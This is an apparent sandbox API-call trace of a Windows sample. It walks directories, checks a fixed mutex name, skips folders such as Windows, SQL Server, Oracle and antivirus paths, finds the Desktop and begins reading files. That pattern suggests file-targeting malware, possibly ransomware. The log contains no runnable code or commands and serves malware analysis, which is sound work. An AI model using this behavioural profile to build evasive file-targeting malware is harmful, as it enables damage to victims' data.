(hMem=0x3f4000c) returned 0x3ae2e00 [0275.774] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0275.774] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.774] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0275.774] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0275.774] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0275.774] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.774] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0275.774] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.775] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0275.775] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0275.775] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0275.775] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0275.775] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0275.775] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0275.775] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.775] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0275.775] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0275.775] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0275.775] GlobalUnlock (hMem=0x3f40004) returned 0 [0275.775] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0275.775] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.775] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0275.775] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0275.775] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0275.775] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0275.775] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0275.776] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0275.776] GlobalUnlock (hMem=0x3f4000c) returned 0 [0275.776] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0275.776] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0275.776] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.028] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.028] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0276.028] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.028] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.028] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.028] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.028] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.029] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.029] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.029] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.029] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.029] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.029] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.029] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.029] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.029] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.029] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.029] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.029] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.029] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.029] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.029] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.029] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.029] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.029] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0276.029] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.030] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.030] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0276.030] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.030] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.030] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.030] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.030] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.030] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.030] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.030] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.030] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.030] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.030] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.030] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.030] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.030] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.030] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.030] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0276.030] GetLastError () returned 0x12 [0276.030] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0276.031] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0276.031] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0276.031] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0276.031] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.031] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.031] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.031] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.031] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0276.031] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.031] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.031] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0276.031] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.031] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.031] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.031] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.031] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.031] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.032] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0276.032] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.032] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.032] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0276.032] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.032] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.032] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1029", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1029") returned 1 [0276.032] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.032] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.032] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.032] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.032] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0276.032] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.032] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.032] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0276.032] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.032] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.034] GetLastError () returned 0x3 [0276.034] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0276.034] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.034] GetLastError () returned 0x2 [0276.035] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0276.035] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.035] GetLastError () returned 0x2 [0276.035] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0276.035] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.035] GetLastError () returned 0x2 [0276.035] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0276.035] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.036] GetLastError () returned 0x2 [0276.036] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.036] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0276.036] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.036] GetLastError () returned 0x2 [0276.036] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.036] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0276.036] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.036] GetLastError () returned 0x2 [0276.036] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.036] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0276.037] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.037] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.037] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.037] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.037] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0276.037] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.037] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.037] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0276.037] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.037] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.037] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0276.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0276.037] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.037] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0276.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0276.037] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.037] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0276.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0276.038] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.038] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0276.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0276.038] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.038] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.038] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.038] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.038] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0276.038] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.038] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.038] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0276.038] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.038] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0276.038] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0276.038] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0276.039] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0276.039] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0276.039] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0276.039] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0276.039] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c00, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0276.042] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0276.042] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0276.042] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0276.042] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0276.043] SHGetPathFromIDListW (in: pidl=0x6e46d8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0276.043] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0276.043] IMalloc:Free (This=0x75e4d000, pv=0x6e46d8) [0276.043] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0276.043] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0276.043] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.043] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.043] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.043] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.043] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0276.043] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.043] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.043] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0276.044] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.044] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da350 [0276.044] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.044] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.044] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0276.044] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.044] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.044] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.044] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.044] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.044] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0276.044] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.044] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.044] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0276.044] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.045] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.045] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 